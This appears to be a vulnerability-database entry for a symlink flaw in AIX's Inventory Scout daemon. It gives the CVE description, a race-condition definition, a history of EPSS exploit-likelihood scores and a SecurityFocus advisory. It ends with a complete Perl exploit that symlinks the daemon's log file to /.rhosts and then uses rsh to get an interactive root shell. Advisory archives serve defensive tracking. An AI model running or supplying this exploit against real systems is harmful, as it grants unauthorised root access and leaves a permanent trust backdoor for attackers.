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The Inventory Scout daemon (invscoutd) 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument (log file). NOTE: this might be related to CVE-2006-5002.
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
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EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
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EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
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1.92%
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2022-02-13
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1.92%
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2022-04-03
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1.92%
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2022-06-26
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1.92%
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2022-11-13
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1.92%
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2022-11-20
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1.92%
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2022-12-11
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1.92%
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2022-12-18
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1.92%
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2022-12-25
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1.92%
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2023-01-01
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1.92%
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2023-02-12
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1.92%
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2023-03-12
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0.04%
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2024-06-02
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0.04%
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2025-01-19
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0.04%
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2025-03-18
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0.31%
2025-03-30
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0.31%
2025-04-15
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0.31%
2025-04-22
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0.31%
2025-04-22
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EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/9982/info
Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.
This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Some high version of invscoutd is not affected.
# Author : watercloud@xfocus.org
# Site : www.xfocus.org www.xfocus.net
# Date : 2003-5-29
# Announce: use as your owner risk!
$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;
print "Exploit error on kill process invscoutd !!" ,exit 1
if &killproc() == 0;
symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";
system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";
sub killproc() {
$_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
@proc_lst=split;
$ret=kill 9,$proc_lst[1] if $proc_lst[1];
$ret=-1 if ! defined $ret;
return $ret;
}
#EOF